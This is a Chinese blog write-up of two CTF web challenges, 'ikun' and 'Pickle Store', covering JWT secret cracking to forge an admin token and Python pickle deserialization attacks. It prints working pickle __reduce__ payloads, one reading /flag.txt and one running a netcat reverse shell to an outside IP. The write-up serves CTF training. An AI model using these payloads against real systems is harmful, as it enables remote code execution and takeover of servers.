[CISCN2019 华北赛区 Day1 Web2]ikun

 需要我们一页一页查找,lv6这里借助脚本

import requests
for i in range(1,1000):
    payload="http://c277a9df-707f-409f-8911-09ac64b10d7f.node4.buuoj.cn:81/shop?page=%d"%(i)
    res=requests.get(payload)
    if "lv6.png" in res.content.decode('utf-8'):
     print(i)
     break

使用requests库发送请求的时候
html = requests.get(url).content.decode(“utf-8”)

#这里的.content就是读取源文件字节流,随后将该字节流编码为Unicode编码,方便再进行更加精确的解码

html = requests.get(url).text.encode(“utf-8”)
也就是res.可以换成text

然后是181页,可是

明显不够我们就1000也没有充值界面,所以最有可能的就是这个优惠看是否可以修改 

认识JWT - 废物大师兄 - 博客园

以为要成功可是,限制admin,所以我们就要看一下是通过什么判断我的用户名的

 看见了jwt,通过上面链接了解jwt由三个部分组成,前两个部分分别是base64编码,解码可以获得

JSON Web Tokens - jwt.io

https://github.com/brendan-rius/c-jwt-cracker

apt-get install git
git clone https://github.com/brendan-rius/c-jwt-cracker

下载到本地后需要使用,make命令,就会生成jwtcrack

./jwtcrack 加密后的结果

 找到了密码,然后就可以更改为admin

然后发现了一个zip文件,解压后是一个python文件。

最后在文件中找到这个有用的

 Admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

     p = pickle.loads(urllib.unquote(become))

反序列化的漏洞,然后看见了become,看见这个参数也是可控的

python 使用get_argument获取url query参数

如何区分python2和python3版本

python2中的print "" 输出加不加括号都可以

而 python3中的print()必须要加括号

文件中翻了半天,看见一个print没加括号python2的版本,

这里为什么要找呢,因为如果是python3的序列化,python2反序列化就会出错,或者你直接在python2中构造序列化也可以。 

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())  //序列化
a = urllib.quote(a)  //相当于url编码
print(a)
 

反序列化的时候会自动调用reduce

然后修改,就可以了,这里直接抓包 

这个界面就会自己出现xsrf和become本来还纠结怎么传参, 结果题中都给了出来。这题考察的python还是简单的这种,勉强能做继续探索把少年!

[watevrCTF-2019]Pickle Store

 

打开界面发现我们有500需要1000,抓个包看看里面有什么

发现session有些可疑感觉是base64编码,然后根据pickle,python反序列化无疑了

反序列化输出一下

import base64
import pickle


a=b"gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(base64.b64decode(a)))

所以session里面,会自动进行反序列化的操作,这里我们可以直接反弹shell 

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 171.47.427.57 4499 -e /bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

直接 

改变session中的值,然后点击buy就会反弹sehll 

然后服务器监听端口,就会连接,就可以执行自己的操作。

 实验buu反弹到kali行不通!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值